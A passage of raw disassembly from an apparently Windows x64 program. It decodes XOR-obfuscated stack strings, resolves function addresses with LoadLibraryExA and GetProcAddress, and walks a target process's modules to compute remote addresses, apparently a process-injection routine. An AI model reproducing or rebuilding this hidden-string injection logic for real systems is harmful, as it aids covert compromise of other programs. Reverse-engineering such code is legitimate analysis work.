mov byte [rbp + 0x22c3], 0x57
mov byte [rbp + 0x22c4], 0x50
mov byte [rbp + 0x22c5], 0x52
mov byte [rbp + 0x22c6], 0x5d
mov byte [rbp + 0x22c7], 0x5e
mov byte [rbp + 0x22c8], 0x34
mov byte [rbp + 0x22c9], 0x24
mov byte [rbp + 0x22ca], 0x14
mov byte [rbp + 0x22cb], 0x2a
mov byte [rbp + 0x22cc], 0x36
mov byte [rbp + 0x22cd], 0x31
mov byte [rbp + 0x22ce], 0x33
mov byte [rbp + 0x22cf], 0x26
mov byte [rbp + 0x22d0], 0x24
mov byte [rbp + 0x22d1], 4
mov byte [rbp + 0x22d2], 0x2f
mov byte [rbp + 0x22d3], 0x26
mov byte [rbp + 0x22d4], 0x23
mov byte [rbp + 0x22d5], 0x3f
mov byte [rbp + 0x22d6], 0x37
mov byte [rbp + 0x22d7], 0x6f
mov byte [rbp + 0x22d8], 0x22
mov byte [rbp + 0x22d9], 0x34
mov byte [rbp + 0x22da], 0x21
mov byte [rbp + 0x22db], 0x73
mov byte [rbp + 0x22dc], 0x7c
mov byte [rbp + 0x22dd], 0x34
mov byte [rbp + 0x22de], 0x3a
mov byte [rbp + 0x22df], 0x3b
mov byte [rbp + 0x22e0], 0x37
mov byte [rbp + 0x22e1], 0x3a
mov byte [rbp + 0x22e2], 9
mov byte [rbp + 0x22e3], 0x33
mov byte [rbp + 0x22e4], 0x35
mov byte [rbp + 0x22e5], 0x30
mov byte [rbp + 0x22e6], 0x77
mov byte [rbp + 0x22e7], 0x65
mov byte [rbp + 0x22e8], 0x40
mov byte [rbp + 0x22e9], 0x51
mov byte [rbp + 0x22ea], 0x1a
mov byte [rbp + 0x22eb], 0x63
lea rax, [rbp + 0x22c0]
mov qword [rbp + 0x4c88], rax
mov rax, qword [rbp + 0x4c88]
movzx eax, byte [rax + 0x2b]
test al, al
setne al
test al, al
je 0x27fe07ecb
lea rax, [rbp + 0x22c0]
lea rdx, [rbp + 0x22c0]
mov qword [rbp + 0x4c80], rdx
mov qword [rbp + 0x4c78], rax
mov dword [rbp + 0x4c74], 0
jmp 0x27fe07ec1
mov eax, dword [rbp + 0x4c74]
movsxd rdx, eax
mov rax, qword [rbp + 0x4c78]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4c74]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4c80]
mov eax, dword [rbp + 0x4c74]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4c74], 1
cmp dword [rbp + 0x4c74], 0x2b
jle 0x27fe07e62
nop
lea rax, [rbp + 0x22c0]
mov edx, dword [rbp + 0x4da4]
mov r8d, edx
mov rdx, rax
lea rax, [0x27ff8fc81]
mov rcx, rax
call fcn.27fe20c70
mov dword [rbp + 0x4c50], 0
jmp 0x27fe07f10
mov eax, dword [rbp + 0x4c50]
cdqe
mov byte [rbp + rax + 0x22c0], 0
add dword [rbp + 0x4c50], 1
cmp dword [rbp + 0x4c50], 0x2b
jle 0x27fe07ef9
nop
mov byte [rbp + 0x22b2], 0x59
mov byte [rbp + 0x22b3], 0x55
mov byte [rbp + 0x22b4], 0x56
mov byte [rbp + 0x22b5], 0x54
mov byte [rbp + 0x22b6], 0x5f
mov byte [rbp + 0x22b7], 0x6e
mov byte [rbp + 0x22b8], 0x56
mov byte [rbp + 0x22b9], 0x56
mov byte [rbp + 0x22ba], 0x2d
mov byte [rbp + 0x22bb], 0x7b
mov byte [rbp + 0x22bc], 0x62
mov byte [rbp + 0x22bd], 0x63
mov byte [rbp + 0x22be], 0x64
mov byte [rbp + 0x22bf], 0x45
mov r8, qword [rbp + 0x22f8]
lea rax, [rbp + 0x22b2]
mov qword [rbp + 0x4c68], rax
mov rax, qword [rbp + 0x4c68]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x27fe0803a
lea rax, [rbp + 0x22b2]
lea rdx, [rbp + 0x22b2]
mov qword [rbp + 0x4c60], rdx
mov qword [rbp + 0x4c58], rax
mov dword [rbp + 0x4c54], 0
jmp 0x27fe08030
mov eax, dword [rbp + 0x4c54]
movsxd rdx, eax
mov rax, qword [rbp + 0x4c58]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x4c54]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x4c60]
mov eax, dword [rbp + 0x4c54]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4c54], 1
cmp dword [rbp + 0x4c54], 0xd
jle 0x27fe07fd1
nop
lea rax, [rbp + 0x22b2]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.27fe20c70
mov dword [rbp + 0x4c4c], 0
jmp 0x27fe08076
mov eax, dword [rbp + 0x4c4c]
cdqe
mov byte [rbp + rax + 0x22b2], 0
add dword [rbp + 0x4c4c], 1
cmp dword [rbp + 0x4c4c], 0xd
jle 0x27fe0805f
nop
mov r10, qword [0x27ffbd040]
mov r9, qword [rbp + 0x24b8]
mov r8, qword [0x27ffbd0c0]
mov rdx, qword [rbp + 0x22f8]
mov rax, qword [rbp + 0x2368]
lea rcx, [rbp + 0x22f0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x4da4], eax
mov byte [rbp + 0x2280], 0x76
mov byte [rbp + 0x2281], 0x4d
mov byte [rbp + 0x2282], 0x6d
mov byte [rbp + 0x2283], 0x49
mov byte [rbp + 0x2284], 0x55
mov byte [rbp + 0x2285], 0x49
mov byte [rbp + 0x2286], 0x5b
mov byte [rbp + 0x2287], 0x69
mov byte [rbp + 0x2288], 0x29
mov byte [rbp + 0x2289], 0x33
mov byte [rbp + 0x228a], 0x36
mov byte [rbp + 0x228b], 0x36
mov byte [rbp + 0x228c], 0x25
mov byte [rbp + 0x228d], 0x29
mov byte [rbp + 0x228e], 0xb
mov byte [rbp + 0x228f], 0x22
mov byte [rbp + 0x2290], 0x25
mov byte [rbp + 0x2291], 0x26
mov byte [rbp + 0x2292], 0x38
mov byte [rbp + 0x2293], 0x32
mov byte [rbp + 0x2294], 0x6c
mov byte [rbp + 0x2295], 0x3f
mov byte [rbp + 0x2296], 0x2b
mov byte [rbp + 0x2297], 0x3c
mov byte [rbp + 0x2298], 0x70
mov byte [rbp + 0x2299], 0x79
mov byte [rbp + 0x229a], 1
mov byte [rbp + 0x229b], 0x3b
mov byte [rbp + 0x229c], 0x3d
mov byte [rbp + 0x229d], 0x38
mov byte [rbp + 0x229e], 0x7f
mov byte [rbp + 0x229f], 0x6d
mov byte [rbp + 0x22a0], 0x78
mov byte [rbp + 0x22a1], 0x69
mov byte [rbp + 0x22a2], 0x22
mov byte [rbp + 0x22a3], 0x5b
lea rax, [rbp + 0x2280]
mov qword [rbp + 0x4c40], rax
mov rax, qword [rbp + 0x4c40]
movzx eax, byte [rax + 0x23]
test al, al
setne al
test al, al
je 0x27fe0826e
lea rax, [rbp + 0x2280]
lea rdx, [rbp + 0x2280]
mov qword [rbp + 0x4c38], rdx
mov qword [rbp + 0x4c30], rax
mov dword [rbp + 0x4c2c], 0
jmp 0x27fe08264
mov eax, dword [rbp + 0x4c2c]
movsxd rdx, eax
mov rax, qword [rbp + 0x4c30]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4c2c]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4c38]
mov eax, dword [rbp + 0x4c2c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4c2c], 1
cmp dword [rbp + 0x4c2c], 0x23
jle 0x27fe08205
nop
lea rax, [rbp + 0x2280]
mov edx, dword [rbp + 0x4da4]
mov r8d, edx
mov rdx, rax
lea rax, [0x27ff8fc81]
mov rcx, rax
call fcn.27fe20c70
mov dword [rbp + 0x4c28], 0
jmp 0x27fe082b3
mov eax, dword [rbp + 0x4c28]
cdqe
mov byte [rbp + rax + 0x2280], 0
add dword [rbp + 0x4c28], 1
cmp dword [rbp + 0x4c28], 0x23
jle 0x27fe0829c
nop
mov r10, qword [0x27ffbd048]
mov rax, qword [rbp + 0x2368]
lea r8, [rbp + 0x24b8]
lea rdx, [rbp + 0x22f8]
lea rcx, [rbp + 0x22ec]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x4da4], eax
mov byte [rbp + 0x2250], 0x76
mov byte [rbp + 0x2251], 0x4d
mov byte [rbp + 0x2252], 0x6a
mov byte [rbp + 0x2253], 0x49
mov byte [rbp + 0x2254], 0x53
mov byte [rbp + 0x2255], 0x49
mov byte [rbp + 0x2256], 0x5b
mov byte [rbp + 0x2257], 0x5c
mov byte [rbp + 0x2258], 0x34
mov byte [rbp + 0x2259], 0x17
mov byte [rbp + 0x225a], 0x2b
mov byte [rbp + 0x225b], 0x31
mov byte [rbp + 0x225c], 0x30
mov byte [rbp + 0x225d], 0x30
mov byte [rbp + 0x225e], 0x27
mov byte [rbp + 0x225f], 0x2b
mov byte [rbp + 0x2260], 5
mov byte [rbp + 0x2261], 0x2c
mov byte [rbp + 0x2262], 0x27
mov byte [rbp + 0x2263], 0x24
mov byte [rbp + 0x2264], 0x3e
mov byte [rbp + 0x2265], 0x34
mov byte [rbp + 0x2266], 0x6e
mov byte [rbp + 0x2267], 0x3d
mov byte [rbp + 0x2268], 0x35
mov byte [rbp + 0x2269], 0x22
mov byte [rbp + 0x226a], 0x72
mov byte [rbp + 0x226b], 0x7b
mov byte [rbp + 0x226c], 7
mov byte [rbp + 0x226d], 0x3d
mov byte [rbp + 0x226e], 0x3f
mov byte [rbp + 0x226f], 0x3a
mov byte [rbp + 0x2270], 0x71
mov byte [rbp + 0x2271], 0x63
mov byte [rbp + 0x2272], 0x7a
mov byte [rbp + 0x2273], 0x6b
mov byte [rbp + 0x2274], 0x24
mov byte [rbp + 0x2275], 0x5d
lea rax, [rbp + 0x2250]
mov qword [rbp + 0x4c20], rax
mov rax, qword [rbp + 0x4c20]
movzx eax, byte [rax + 0x25]
test al, al
setne al
test al, al
je 0x27fe084b8
lea rax, [rbp + 0x2250]
lea rdx, [rbp + 0x2250]
mov qword [rbp + 0x4c18], rdx
mov qword [rbp + 0x4c10], rax
mov dword [rbp + 0x4c0c], 0
jmp 0x27fe084ae
mov eax, dword [rbp + 0x4c0c]
movsxd rdx, eax
mov rax, qword [rbp + 0x4c10]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4c0c]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4c18]
mov eax, dword [rbp + 0x4c0c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4c0c], 1
cmp dword [rbp + 0x4c0c], 0x25
jle 0x27fe0844f
nop
lea rax, [rbp + 0x2250]
mov edx, dword [rbp + 0x4da4]
mov r8d, edx
mov rdx, rax
lea rax, [0x27ff8fc81]
mov rcx, rax
call fcn.27fe20c70
mov dword [rbp + 0x4c08], 0
jmp 0x27fe084fd
mov eax, dword [rbp + 0x4c08]
cdqe
mov byte [rbp + rax + 0x2250], 0
add dword [rbp + 0x4c08], 1
cmp dword [rbp + 0x4c08], 0x25
jle 0x27fe084e6
nop
mov rax, qword [rbp + 0x2368]
mov rcx, rax
call fcn.27fe03529
mov rdx, qword [rbp + 0x22f8]
mov rax, qword [rbp + 0x2368]
mov rcx, rax
call fcn.27fe0302f
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov r10, qword [0x27ffbd0b0]
mov rax, qword [rbp + 0x2368]
lea rcx, [rbp + 0x24b8]
lea rdx, [rbp + 0x22f8]
mov r9d, 0x8000
mov r8, rcx
mov rcx, rax
call r10
mov dword [rbp + 0x4da4], eax
mov byte [rbp + 0x2220], 0x76
mov byte [rbp + 0x2221], 0x4d
mov byte [rbp + 0x2222], 0x7c
mov byte [rbp + 0x2223], 0x49
mov byte [rbp + 0x2224], 0x59
mov byte [rbp + 0x2225], 0x58
mov byte [rbp + 0x2226], 0x68
mov byte [rbp + 0x2227], 0x56
mov byte [rbp + 0x2228], 0x32
mov byte [rbp + 0x2229], 0x35
mov byte [rbp + 0x222a], 0x37
mov byte [rbp + 0x222b], 0x22
mov byte [rbp + 0x222c], 0x28
mov byte [rbp + 0x222d], 8
mov byte [rbp + 0x222e], 0x23
mov byte [rbp + 0x222f], 0x2a
mov byte [rbp + 0x2230], 0x27
mov byte [rbp + 0x2231], 0x3b
mov byte [rbp + 0x2232], 0x33
mov byte [rbp + 0x2233], 0x6b
mov byte [rbp + 0x2234], 0x3e
mov byte [rbp + 0x2235], 0x28
mov byte [rbp + 0x2236], 0x3d
mov byte [rbp + 0x2237], 0x6f
mov byte [rbp + 0x2238], 0x78
mov byte [rbp + 0x2239], 0x30
mov byte [rbp + 0x223a], 0x3e
mov byte [rbp + 0x223b], 0x3f
mov byte [rbp + 0x223c], 0x3b
mov byte [rbp + 0x223d], 0x36
mov byte [rbp + 0x223e], 5
mov byte [rbp + 0x223f], 0x3f
mov byte [rbp + 0x2240], 0x31
mov byte [rbp + 0x2241], 0x34
mov byte [rbp + 0x2242], 0x73
mov byte [rbp + 0x2243], 0x61
mov byte [rbp + 0x2244], 0x7c
mov byte [rbp + 0x2245], 0x6d
mov byte [rbp + 0x2246], 0x26
mov byte [rbp + 0x2247], 0x5f
lea rax, [rbp + 0x2220]
mov qword [rbp + 0x4c00], rax
mov rax, qword [rbp + 0x4c00]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x27fe0873a
lea rax, [rbp + 0x2220]
lea rdx, [rbp + 0x2220]
mov qword [rbp + 0x4bf8], rdx
mov qword [rbp + 0x4bf0], rax
mov dword [rbp + 0x4bec], 0
jmp 0x27fe08730
mov eax, dword [rbp + 0x4bec]
movsxd rdx, eax
mov rax, qword [rbp + 0x4bf0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4bec]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4bf8]
mov eax, dword [rbp + 0x4bec]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4bec], 1
cmp dword [rbp + 0x4bec], 0x27
jle 0x27fe086d1
nop
lea rax, [rbp + 0x2220]
mov edx, dword [rbp + 0x4da4]
mov r8d, edx
mov rdx, rax
lea rax, [0x27ff8fc81]
mov rcx, rax
call fcn.27fe20c70
mov dword [rbp + 0x4bc0], 0
jmp 0x27fe0877f
mov eax, dword [rbp + 0x4bc0]
cdqe
mov byte [rbp + rax + 0x2220], 0
add dword [rbp + 0x4bc0], 1
cmp dword [rbp + 0x4bc0], 0x27
jle 0x27fe08768
nop
lea rax, [rbp + 0x2314]
mov qword [rbp + 0x4be0], rax
mov rax, qword [rbp + 0x4be0]
mov qword [rbp + 0x4bd8], rax
mov rax, qword [rbp + 0x4bd8]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x27fe0884e
mov rax, qword [rbp + 0x4be0]
mov rdx, qword [rbp + 0x4be0]
mov qword [rbp + 0x4bd0], rdx
mov qword [rbp + 0x4bc8], rax
mov dword [rbp + 0x4bc4], 0
jmp 0x27fe08844
mov eax, dword [rbp + 0x4bc4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4bc8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4bc4]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4bd0]
mov eax, dword [rbp + 0x4bc4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4bc4], 1
cmp dword [rbp + 0x4bc4], 0xb
jle 0x27fe087e5
nop
lea rax, [rbp + 0x2314]
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
call rax
mov qword [rbp + 0x4d98], rax
lea rax, [rbp + 0x2300]
mov qword [rbp + 0x4bb8], rax
mov rax, qword [rbp + 0x4bb8]
mov qword [rbp + 0x4bb0], rax
mov rax, qword [rbp + 0x4bb0]
movzx eax, byte [rax + 0xf]
test al, al
setne al
test al, al
je 0x27fe08938
mov rax, qword [rbp + 0x4bb8]
mov rdx, qword [rbp + 0x4bb8]
mov qword [rbp + 0x4ba8], rdx
mov qword [rbp + 0x4ba0], rax
mov dword [rbp + 0x4b9c], 0
jmp 0x27fe0892e
mov eax, dword [rbp + 0x4b9c]
movsxd rdx, eax
mov rax, qword [rbp + 0x4ba0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4b9c]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4ba8]
mov eax, dword [rbp + 0x4b9c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4b9c], 1
cmp dword [rbp + 0x4b9c], 0xf
jle 0x27fe088cf
nop
lea rdx, [rbp + 0x2300]
mov rax, qword [rbp + 0x4d98]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4d90], rax
mov byte [rbp + 0x2212], 0x5e
mov byte [rbp + 0x2213], 0x4c
mov byte [rbp + 0x2214], 0x54
mov byte [rbp + 0x2215], 0x58
mov byte [rbp + 0x2216], 0x7d
mov byte [rbp + 0x2217], 0x59
mov byte [rbp + 0x2218], 0x5a
mov byte [rbp + 0x2219], 0x4d
mov byte [rbp + 0x221a], 0x25
mov byte [rbp + 0x221b], 0x32
mov byte [rbp + 0x221c], 0x31
mov byte [rbp + 0x221d], 0x79
mov byte [rbp + 0x221e], 0x64
mov byte [rbp + 0x221f], 0x45
lea rax, [rbp + 0x2212]
mov qword [rbp + 0x4b90], rax
mov rax, qword [rbp + 0x4b90]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x27fe08a72
lea rax, [rbp + 0x2212]
lea rdx, [rbp + 0x2212]
mov qword [rbp + 0x4b88], rdx
mov qword [rbp + 0x4b80], rax
mov dword [rbp + 0x4b7c], 0
jmp 0x27fe08a68
mov eax, dword [rbp + 0x4b7c]
movsxd rdx, eax
mov rax, qword [rbp + 0x4b80]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4b7c]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4b88]
mov eax, dword [rbp + 0x4b7c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4b7c], 1
cmp dword [rbp + 0x4b7c], 0xd
jle 0x27fe08a09
nop
lea rax, [rbp + 0x2212]
mov rdx, qword [rbp + 0x4d90]
mov r8, rdx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.27fe20c70
mov dword [rbp + 0x4b58], 0
jmp 0x27fe08ab8
mov eax, dword [rbp + 0x4b58]
cdqe
mov byte [rbp + rax + 0x2212], 0
add dword [rbp + 0x4b58], 1
cmp dword [rbp + 0x4b58], 0xd
jle 0x27fe08aa1
nop
mov rax, qword [rbp + 0x4d90]
mov qword [rbp + 0x4d88], rax
mov rdx, qword [rbp + 0x4d88]
mov rax, qword [rbp + 0x4d98]
sub rdx, rax
mov dword [rbp + 0x4d84], edx
mov byte [rbp + 0x2205], 0x5e
mov byte [rbp + 0x2206], 0x4c
mov byte [rbp + 0x2207], 0x54
mov byte [rbp + 0x2208], 0x58
mov byte [rbp + 0x2209], 0x73
mov byte [rbp + 0x220a], 0x5b
mov byte [rbp + 0x220b], 0x58
mov byte [rbp + 0x220c], 0x4c
mov byte [rbp + 0x220d], 0x25
mov byte [rbp + 0x220e], 0x35
mov byte [rbp + 0x220f], 0x78
mov byte [rbp + 0x2210], 0x63
mov byte [rbp + 0x2211], 0x44
lea rax, [rbp + 0x2205]
mov qword [rbp + 0x4b70], rax
mov rax, qword [rbp + 0x4b70]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x27fe08bf9
lea rax, [rbp + 0x2205]
lea rdx, [rbp + 0x2205]
mov qword [rbp + 0x4b68], rdx
mov qword [rbp + 0x4b60], rax
mov dword [rbp + 0x4b5c], 0
jmp 0x27fe08bef
mov eax, dword [rbp + 0x4b5c]
movsxd rdx, eax
mov rax, qword [rbp + 0x4b60]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4b5c]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4b68]
mov eax, dword [rbp + 0x4b5c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4b5c], 1
cmp dword [rbp + 0x4b5c], 0xc
jle 0x27fe08b90
nop
lea rax, [rbp + 0x2205]
mov edx, dword [rbp + 0x4d84]
mov r8d, edx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.27fe20c70
mov dword [rbp + 0x4b54], 0
jmp 0x27fe08c3e
mov eax, dword [rbp + 0x4b54]
cdqe
mov byte [rbp + rax + 0x2205], 0
add dword [rbp + 0x4b54], 1
cmp dword [rbp + 0x4b54], 0xc
jle 0x27fe08c27
nop
mov rax, qword [rbp + 0x2368]
lea rcx, [rbp + 0x1fc]
lea rdx, [rbp + 0x200]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
setne al
test al, al
je 0x27fe08fb2
mov dword [rbp + 0x4dcc], 0
jmp 0x27fe08f94
mov eax, dword [rbp + 0x4dcc]
cdqe
mov rdx, qword [rbp + rax*8 + 0x200]
mov rax, qword [rbp + 0x2368]
mov rcx, rbp
mov r9d, 0x104
mov r8, rcx
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
setne al
test al, al
je 0x27fe08f8d
lea rax, [rbp + 0x4a57]
mov qword [rbp + 0x4b48], rax
nop
nop
lea rcx, [rbp + 0x4a57]
mov rdx, rbp
lea rax, [rbp - 0x20]
mov r8, rcx
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x4a57]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x2314]
mov qword [rbp + 0x4b40], rax
mov rax, qword [rbp + 0x4b40]
mov qword [rbp + 0x4b38], rax
mov rax, qword [rbp + 0x4b38]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x27fe08dc0
mov rax, qword [rbp + 0x4b40]
mov rdx, qword [rbp + 0x4b40]
mov qword [rbp + 0x4b30], rdx
mov qword [rbp + 0x4b28], rax
mov dword [rbp + 0x4b24], 0
jmp 0x27fe08db6
mov eax, dword [rbp + 0x4b24]
movsxd rdx, eax
mov rax, qword [rbp + 0x4b28]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4b24]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4b30]
mov eax, dword [rbp + 0x4b24]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4b24], 1
cmp dword [rbp + 0x4b24], 0xb
jle 0x27fe08d57
nop
lea rdx, [rbp + 0x2314]
lea rax, [rbp - 0x20]
mov r8d, 0
mov rcx, rax
call fcn.27fe31450
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x27fe08f81
mov eax, dword [rbp + 0x4dcc]
cdqe
mov rdx, qword [rbp + rax*8 + 0x200]
mov rax, rbp
mov r8, rdx
mov rdx, rax
lea rax, str._t_s__0x_08X__n
mov rcx, rax
call fcn.27fe20c70
mov eax, dword [rbp + 0x4dcc]
cdqe
mov rax, qword [rbp + rax*8 + 0x200]
mov qword [rbp + 0x4dd0], rax
mov byte [rbp + 0x106], 0x7a
mov byte [rbp + 0x107], 0x58
mov byte [rbp + 0x108], 0x49
mov byte [rbp + 0x109], 0x5e
mov byte [rbp + 0x10a], 0x5d
mov byte [rbp + 0x10b], 0x59
mov byte [rbp + 0x10c], 0x5a
mov byte [rbp + 0x10d], 0x4d
mov byte [rbp + 0x10e], 0x7a
mov byte [rbp + 0x10f], 0x61
mov byte [rbp + 0x110], 0x42
mov eax, dword [rbp + 0x4dcc]
cdqe
mov r8, qword [rbp + rax*8 + 0x200]
lea rax, [rbp + 0x106]
mov qword [rbp + 0x4b18], rax
mov rax, qword [rbp + 0x4b18]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x27fe08f3b
lea rax, [rbp + 0x106]
lea rdx, [rbp + 0x106]
mov qword [rbp + 0x4b10], rdx
mov qword [rbp + 0x4b08], rax
mov dword [rbp + 0x4b04], 0
jmp 0x27fe08f31
mov eax, dword [rbp + 0x4b04]
movsxd rdx, eax
mov rax, qword [rbp + 0x4b08]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x4b04]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x4b10]
mov eax, dword [rbp + 0x4b04]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4b04], 1
cmp dword [rbp + 0x4b04], 0xa
jle 0x27fe08ed2
nop
lea rax, [rbp + 0x106]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.27fe20c70
mov dword [rbp + 0x4b00], 0
jmp 0x27fe08f77
mov eax, dword [rbp + 0x4b00]
cdqe
mov byte [rbp + rax + 0x106], 0
add dword [rbp + 0x4b00], 1
cmp dword [rbp + 0x4b00], 0xa
jle 0x27fe08f60
nop
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.27feabde0
add dword [rbp + 0x4dcc], 1
mov eax, dword [rbp + 0x4dcc]
movsxd rdx, eax
mov eax, dword [rbp + 0x1fc]
mov eax, eax
shr rax, 3
cmp rdx, rax
jb 0x27fe08c8a
mov eax, dword [rbp + 0x4d84]
movsxd rdx, eax
mov rax, qword [rbp + 0x4dd0]
add rax, rdx
mov qword [rbp + 0x1f0], rax
mov byte [rbp + 0x1d0], 0x4a
mov byte [rbp + 0x1d1], 0x5c
mov byte [rbp + 0x1d2], 0x57
mov byte [rbp + 0x1d3], 0x54
mov byte [rbp + 0x1d4], 0x48
mov byte [rbp + 0x1d5], 0x58
mov byte [rbp + 0x1d6], 0x78
mov byte [rbp + 0x1d7], 0x4a
mov byte [rbp + 0x1d8], 0x2e
mov byte [rbp + 0x1d9], 0x22
mov byte [rbp + 0x1da], 3
mov byte [rbp + 0x1db], 0x27
mov byte [rbp + 0x1dc], 0x20
mov byte [rbp + 0x1dd], 0x37
mov byte [rbp + 0x1de], 0x23
mov byte [rbp + 0x1df], 0x34
mov byte [rbp + 0x1e0], 0x3b
mov byte [rbp + 0x1e1], 0x73
mov byte [rbp + 0x1e2], 0x6a
mov byte [rbp + 0x1e3], 0x4b
mov r8, qword [rbp + 0x1f0]
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x4af8], rax
mov rax, qword [rbp + 0x4af8]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x27fe09116
lea rax, [rbp + 0x1d0]
lea rdx, [rbp + 0x1d0]
mov qword [rbp + 0x4af0], rdx
mov qword [rbp + 0x4ae8], rax
mov dword [rbp + 0x4ae4], 0
